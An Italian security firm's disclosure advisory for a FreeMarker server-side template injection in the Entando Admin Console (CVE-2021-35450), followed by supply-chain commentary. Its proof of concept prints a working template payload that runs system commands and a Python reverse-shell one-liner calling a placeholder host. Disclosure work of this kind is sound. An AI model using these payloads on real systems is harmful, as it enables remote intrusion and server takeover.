Proteggere la Supply Chain nel modo “giusto”: Entando e Swascan Responsible Vulnerability Disclosure

Sulle ali del caso Kaseya – ultimo di una serie di incidenti di sicurezza che hanno evidenziato gli impatti devastanti associati ad un attacco contro la Supply Chain digitale – Swascan ha portato a termine proattivamente un’attività di Responsible Vulnerability Disclosure con il system integrator Entando.

Entando

Entando è una società di software open-source leader nel campo dello sviluppo di web app su base Kubernetes.

L’azienda, fondata nel 2010 come system integrator open-source, è stata rifondata come vero e proprio fornitore nel 2015 in risposta alla crescente domanda di strumenti e servizi per creare moderne esperienze online.

Da allora, Entando ha fatto un balzo in avanti nei mercati internazionali espandendosi con uffici in Nord America dedicati all’R&D e vendite in Europa. Il suo team è presente in tutto il mondo, compresi Stati Uniti, Italia, Brasile, Sud Africa, Ucraina e Filippine.

Entando ha una particolare esperienza nel settore bancario, pubblico e dei servizi.

Technical Summary

Durante un Penetration Test, il Cyber Security Research Team di Swascan ha rilevato un’importante vulnerabilità potenziale su:

  • ENTANDO Admin Console

La vulnerabilità rilevata era:

VulnerabilityCVSSSeverity
Server-Side Template Injection – Remote Command Execution7.2CRITICAL

Swascan ha raccomandato l’aggiornamento di Entando Admin Console all’ultima versione disponibile su github all’indirizzo https://github.com/entando/entando-admin-console.

 

Nella sezione seguente i dettagli tecnici su questa vulnerabilità, comprese le prove e le proof-of-concepts

 

Dettagli sulla vulnerabilità

Server-Side Template Injection: Remote Command Execution

CWE-94:                                Improper Control of Generation of Code (‘Code Injection’)
CVSSv3.1:                              7.2 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H]
OWASP:                                 A1:2017-Injection
Remediation Complexity:   HIGH
Remediation Status:            FIXED

Descrizione

La web application è affetta da una vulnerabilità Server Side Template Injection grazie alla quale è possibile eseguire comandi di sistema inserendo istruzioni all’interno del framework utilizzato per il rendering dell’applicazione.

Un potenziale attaccante sarà quindi in grado di eseguire comandi di sistema inserendo opportune istruzioni all’interno dei componenti grafici dell’applicazione utilizzando il motore di rendering FreeMarker utilizzato dal CMS Entando.

Assets

  • https://HOST_NAME/admin-console

 

Proof of Concept

Quanto segue mostra come sia possibile eseguire comandi di sistema e ottenere una shell remota inserendo istruzioni riconosciute dal framework FreeMarker.

Per dimostrare la vulnerabilità, si è scelto di inserire del codice nel widget “help_desk” poiché, solo in questo particolare caso e layout scelto per l’applicazione, può essere facilmente richiamato dal browser per innescare l’esecuzione del comando

<#assign ex = “freemarker.template.utility.Execute”?new()>${ ex(“uname -a”)}

Inserimento del codice nell’editor di widget di Entando

Qui sotto c’è un dettaglio più esplicativo:

Inserimento del comando di sistema: “uname -a”

Evidence 3 Command execution successful

Esecuzione del comando con successo

Per ottenere una shell di sistema è stato utilizzato il seguente script Python attraverso un file caricato in /tmp/shell.py sul sistema linux sottostante:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”X.X.X.X\”,80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’

Lo script di cui sopra ha aperto una shell inversa dal server a un server di comando e controllo:

Ottenimento dello shell del sistema

Remediation

Lo Swascan Cyber Security Research Team ha aperto una richiesta di CVE ID a

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35450

e Entando ha risolto il problema con Entando Admin Console, Release 6.4.1 aggiornando la versione di FreeMarker usata nelle dipendenze dei componenti.

Riferimenti

  • https://cwe.mitre.org/data/definitions/94.html
  • https://nvd.nist.gov/vuln/search/results?form_type=Advanced&results_type=overview&query=freemarker&search_type=all
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35450
  • https://github.com/entando/entando-admin-console

Proteggere la Supply Chain

Mentre attacchi come quello di Kaseya sono certamente “teatrali”, in particolare quando si vedono immagini come supermercati chiusi al pubblico per un fine settimana e completamente paralizzati, il problema di fondo che sorge con l’intensificarsi di questi attacchi è come la moderna Digital Supply Chain sia sempre più una “balena bianca” per i Criminal Hacker.

“Questo perché tutte le infrastrutture digitali di aziende ed enti pubblici stanno crescendo in complessità a un ritmo vertiginoso. E allo stesso tempo aumenta la quantità di strumenti necessari per gestire queste interconnessioni mantenendole sicure” ha spiegato Pierguido Iezzi, CEO di Swascan.

Monitorare lo stato di sicurezza dell’intera filiera attraverso indicatori di vulnerabilità e di rischio è diventato un imperativo; anche levando il supporto di ricercatori di Cyber Security come sottolinea la collaborazione tra Entando e Swascan, ha aggiunto.

Alla fine, non c’è differenza in termini di danno economico, reputazione del marchio e continuità aziendale quando l’attacco avviene direttamente sul nostro perimetro o attraverso la catena di approvvigionamento.

Non dobbiamo mai dimenticare che nessuna tecnologia esiste “da sola”, quasi tutte le organizzazioni operano in un ecosistema connesso che include, per esempio, i fornitori.

Se una qualsiasi di queste aziende viene attaccata, automaticamente tutte le altre parti lungo la Supply Chain sono a rischio.

Anche la più piccola vulnerabilità potrebbe provocare un danno enorme.

Il lavoro svolto all’interno di Entando mostra come una filiera digitale potrebbe e dovrebbe essere protetta.

Cyber Risk Indicators: Energy (Giugno 2021)
Cyber Risk Indicators: Sanità (Agosto 2021)

Pronto intervento Cyber Swascan

Contattaci per un supporto immediato

Il sottoscritto, in qualità di interessato DICHIARA di aver letto e compreso il contenuto della privacy policy ai sensi dell’articolo 13, GDPR. ACCONSENTE al trattamento dei Dati in relazione all’invio da parte del Titolare di comunicazioni afferenti alla gestione di eventuali misure precontrattuali, preordinate alla stipulazione e/o esecuzione del contratto con il Cliente nonché all'adempimento dei relativi obblighi.
Il consenso prestato potrà essere revocato in qualsiasi momento contattando il Titolare ai recapiti presenti nella citata privacy policy.